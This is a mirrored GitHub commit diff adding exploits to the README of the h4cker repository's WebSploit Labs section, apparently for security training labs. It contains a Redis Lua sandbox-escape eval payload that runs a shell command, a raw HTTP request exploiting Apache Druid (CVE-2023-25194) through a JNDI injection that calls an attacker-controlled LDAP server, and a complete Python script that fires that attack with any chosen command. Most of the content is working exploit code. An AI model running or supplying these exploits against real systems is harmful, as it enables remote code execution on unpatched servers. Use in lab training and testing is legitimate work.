mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-22 02:43:02 +00:00
Update README.md
This commit is contained in:
Omar Santos
GitHub
parent
40c5f6ea77
commit
fbf48884e2
1 changed files with 199 additions and 1 deletions
|
|
@ -1,7 +1,205 @@
|
||||||
# Additional Exploits Used in WebSploit Labs
|
# Additional Exploits Used in WebSploit Labs
|
||||||
|
|
||||||
## DEC31_01
|
## DC31_01
|
||||||
|
|
||||||
```
|
```
|
||||||
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
|
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## DC31_02
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
|
||||||
|
Host: 10.7.7.22:8888
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Content-Type: application/json
|
||||||
|
Content-Length: 1792
|
||||||
|
|
||||||
|
{
|
||||||
|
"type":"kafka",
|
||||||
|
"spec":{
|
||||||
|
"type":"kafka",
|
||||||
|
"ioConfig":{
|
||||||
|
"type":"kafka",
|
||||||
|
"consumerProperties":{
|
||||||
|
"bootstrap.servers":"127.0.0.1:6666",
|
||||||
|
"sasl.mechanism":"SCRAM-SHA-256",
|
||||||
|
"security.protocol":"SASL_SSL",
|
||||||
|
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://roguo-jndi-server:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
|
||||||
|
},
|
||||||
|
"topic":"test",
|
||||||
|
"useEarliestOffset":true,
|
||||||
|
"inputFormat":{
|
||||||
|
"type":"regex",
|
||||||
|
"pattern":"([\\s\\S]*)",
|
||||||
|
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
|
||||||
|
"columns":[
|
||||||
|
"raw"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"dataSchema":{
|
||||||
|
"dataSource":"sample",
|
||||||
|
"timestampSpec":{
|
||||||
|
"column":"!!!_no_such_column_!!!",
|
||||||
|
"missingValue":"1970-01-01T00:00:00Z"
|
||||||
|
},
|
||||||
|
"dimensionsSpec":{
|
||||||
|
|
||||||
|
},
|
||||||
|
"granularitySpec":{
|
||||||
|
"rollup":false
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"tuningConfig":{
|
||||||
|
"type":"kafka"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"samplerConfig":{
|
||||||
|
"numRows":500,
|
||||||
|
"timeoutMs":15000
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This is a python script that can also be used:
|
||||||
|
|
||||||
|
```
|
||||||
|
'''
|
||||||
|
This script exploits the Druid RCE vulnerability (CVE-2023-25194) to execute commands on the target machine.
|
||||||
|
'''
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
|
||||||
|
def send_post_request(url, headers, data):
|
||||||
|
'''
|
||||||
|
send post request
|
||||||
|
:param url: url
|
||||||
|
:param headers: headers
|
||||||
|
:param data: data
|
||||||
|
:return: None
|
||||||
|
'''
|
||||||
|
response = requests.post(url, headers=headers, data=json.dumps(data))
|
||||||
|
|
||||||
|
status_code = response.status_code
|
||||||
|
content = response.content.decode('utf-8')
|
||||||
|
|
||||||
|
if status_code == 500 or 'createChannelBuilde' in content:
|
||||||
|
print('[+] Exploit Success ~')
|
||||||
|
else:
|
||||||
|
print('[-] Exploit maybe fail.')
|
||||||
|
|
||||||
|
|
||||||
|
def get_data(jndi_ip, cmd):
|
||||||
|
'''
|
||||||
|
Function to get data for POST request body
|
||||||
|
:param jndi_ip: jndi_ip
|
||||||
|
:param cmd: command to execute
|
||||||
|
:return: data
|
||||||
|
'''
|
||||||
|
data = {
|
||||||
|
"type": "kafka",
|
||||||
|
"spec": {
|
||||||
|
"type": "kafka",
|
||||||
|
"ioConfig": {
|
||||||
|
"type": "kafka",
|
||||||
|
"consumerProperties": {
|
||||||
|
"bootstrap.servers": "127.0.0.1:6666",
|
||||||
|
"sasl.mechanism": "SCRAM-SHA-256",
|
||||||
|
"security.protocol": "SASL_SSL",
|
||||||
|
"sasl.jaas.config": f"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://{jndi_ip}:1389/Basic/Command/base64/{cmd}\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
|
||||||
|
},
|
||||||
|
"topic": "test",
|
||||||
|
"useEarliestOffset": True,
|
||||||
|
"inputFormat": {
|
||||||
|
"type": "regex",
|
||||||
|
"pattern": "([\\s\\S]*)",
|
||||||
|
"listDelimiter": "56616469-6de2-9da4-efb8-8f416e6e6965",
|
||||||
|
"columns": [
|
||||||
|
"raw"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"dataSchema": {
|
||||||
|
"dataSource": "sample",
|
||||||
|
"timestampSpec": {
|
||||||
|
"column": "!!!_no_such_column_!!!",
|
||||||
|
"missingValue": "1970-01-01T00:00:00Z"
|
||||||
|
},
|
||||||
|
"dimensionsSpec": {
|
||||||
|
|
||||||
|
},
|
||||||
|
"granularitySpec": {
|
||||||
|
"rollup": False
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"tuningConfig": {
|
||||||
|
"type": "kafka"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"samplerConfig": {
|
||||||
|
"numRows": 500,
|
||||||
|
"timeoutMs": 15000
|
||||||
|
}
|
||||||
|
}
|
||||||
|
# print(data)
|
||||||
|
return data
|
||||||
|
|
||||||
|
def base64_encode(original_str):
|
||||||
|
'''
|
||||||
|
Function to encode string with base64
|
||||||
|
:param original_str: original string
|
||||||
|
:return: encoded string
|
||||||
|
'''
|
||||||
|
|
||||||
|
original_bytes = original_str.encode('utf-8')
|
||||||
|
encoded_bytes = base64.b64encode(original_bytes)
|
||||||
|
encoded_str = encoded_bytes.decode('utf-8')
|
||||||
|
return encoded_str
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
'''
|
||||||
|
The following are the arguments required for the script to run successfully
|
||||||
|
-t, --target: target IP or hostname
|
||||||
|
-j, --jndi-ip: jndi_ip
|
||||||
|
-c, --cmd: command to execute
|
||||||
|
'''
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument('-t', '--target', type=str, required=True, help='target IP or hostname')
|
||||||
|
parser.add_argument('-j', '--jndi-ip', type=str, required=True, help='jndi_ip')
|
||||||
|
parser.add_argument('-c', '--cmd', type=str, required=True, help='command to execute')
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Target URL
|
||||||
|
url = f"http://{args.target}:8888/druid/indexer/v1/sampler"
|
||||||
|
print("[+] URL:" + url)
|
||||||
|
print("[+] Target IP:" + args.target)
|
||||||
|
print("[+] JNDI IP:" + args.jndi_ip)
|
||||||
|
print("[+] Command:" + args.cmd)
|
||||||
|
|
||||||
|
# Headers for POST request
|
||||||
|
headers = {
|
||||||
|
"Accept-Encoding": "gzip, deflate",
|
||||||
|
"Accept": "*/*",
|
||||||
|
"Accept-Language": "en-US;q=0.9,en;q=0.8",
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36",
|
||||||
|
"Connection": "close",
|
||||||
|
"Cache-Control": "max-age=0",
|
||||||
|
"Content-Type": "application/json"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get data for POST request body
|
||||||
|
data = get_data(args.jndi_ip, base64_encode(args.cmd))
|
||||||
|
|
||||||
|
# Send POST request
|
||||||
|
send_post_request(url, headers, data)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue